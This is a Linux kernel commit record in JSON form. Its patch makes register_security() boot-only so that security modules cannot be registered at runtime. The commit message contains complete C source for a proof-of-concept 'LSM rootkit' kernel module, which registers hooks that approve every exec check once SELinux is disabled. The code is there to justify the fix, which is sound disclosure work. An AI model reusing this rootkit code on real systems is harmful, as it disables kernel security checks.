)]}'
{
  "commit": "c1e992b99603a84d7debb188542b64f2d9232c07",
  "tree": "786b1ec0c06c3d5a9df7bc3123c881ccae083d65",
  "parents": [
    "3a5b27bf6f29574d667230c7e76e4b83fe3014e0"
  ],
  "author": {
    "name": "wzt.wzt@gmail.com",
    "email": "wzt.wzt@gmail.com",
    "time": "Fri Feb 26 22:49:55 2010 +0800"
  },
  "committer": {
    "name": "James Morris",
    "email": "jmorris@namei.org",
    "time": "Wed Mar 03 09:15:28 2010 +1100"
  },
  "message": "Security: Add __init to register_security to disable load a security module on runtime\n\nLSM framework doesn\u0027t allow to load a security module on runtime, it must be loaded on boot time.\nbut in security/security.c:\nint register_security(struct security_operations *ops)\n{\n        ...\n        if (security_ops !\u003d \u0026default_security_ops)\n                return -EAGAIN;\n        ...\n}\nif security_ops \u003d\u003d \u0026default_security_ops, it can access to register a security module. If selinux is enabled,\nother security modules can\u0027t register, but if selinux is disabled on boot time, the security_ops was set to\ndefault_security_ops, LSM allows other kernel modules to use register_security() to register a not trust\nsecurity module. For example:\n\ndisable selinux on boot time(selinux\u003d0).\n\n#include \u003clinux/kernel.h\u003e\n#include \u003clinux/module.h\u003e\n#include \u003clinux/init.h\u003e\n#include \u003clinux/version.h\u003e\n#include \u003clinux/string.h\u003e\n#include \u003clinux/list.h\u003e\n#include \u003clinux/security.h\u003e\n\nMODULE_LICENSE(\"GPL\");\nMODULE_AUTHOR(\"wzt\");\n\nextern int register_security(struct security_operations *ops);\nint (*new_register_security)(struct security_operations *ops);\n\nint rootkit_bprm_check_security(struct linux_binprm *bprm)\n{\n        return 0;\n}\n\nstruct security_operations rootkit_ops \u003d {\n                .bprm_check_security \u003d rootkit_bprm_check_security,\n};\n\nstatic int rootkit_init(void)\n{\n        printk(\"Load LSM rootkit module.\\n\");\n\n\t/* cat /proc/kallsyms | grep register_security */\n        new_register_security \u003d 0xc0756689;\n        if (new_register_security(\u0026rootkit_ops)) {\n                printk(\"Can\u0027t register rootkit module.\\n\");\n                return 0;\n        }\n        printk(\"Register rootkit module ok.\\n\");\n\n        return 0;\n}\n\nstatic void rootkit_exit(void)\n{\n        printk(\"Unload LSM rootkit module.\\n\");\n}\n\nmodule_init(rootkit_init);\nmodule_exit(rootkit_exit);\n\nSigned-off-by: Zhitong Wang \u003czhitong.wangzt@alibaba-inc.com\u003e\nSigned-off-by: James Morris \u003cjmorris@namei.org\u003e\n",
  "tree_diff": [
    {
      "type": "modify",
      "old_id": "122b748d0f4c5cbb11b04fd11a954429136586c2",
      "old_mode": 33188,
      "old_path": "security/security.c",
      "new_id": "7da630a8c065de26a42b907b0aa98bc2ece95fd7",
      "new_mode": 33188,
      "new_path": "security/security.c"
    }
  ]
}
